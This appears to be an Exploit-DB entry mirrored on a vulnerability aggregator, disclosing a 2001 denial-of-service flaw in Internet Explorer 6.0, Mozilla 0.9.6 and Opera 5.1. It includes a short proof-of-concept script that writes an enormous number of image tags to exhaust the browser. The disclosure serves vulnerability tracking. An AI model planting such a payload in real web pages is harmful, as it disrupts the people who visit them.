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Microsoft Internet Explorer 6.0 / Mozilla 0.9.6 / Opera 5.1 - Image Count Denial of Service

🗓️ 11 Dec 2001 00:00:00Reported by Pavel TitovType 
exploitdb
 exploitdb
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Denial of service vulnerability in web browsers due to high image count exploitation.

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source: https://www.securityfocus.com/bid/3684/info

An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.

An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.

Malicious webmasters may construct webpages which exploit this vulnerability. 

<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script> 

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11 Dec 2001 00:00Current
7.4High risk
Vulners AI Score7.4
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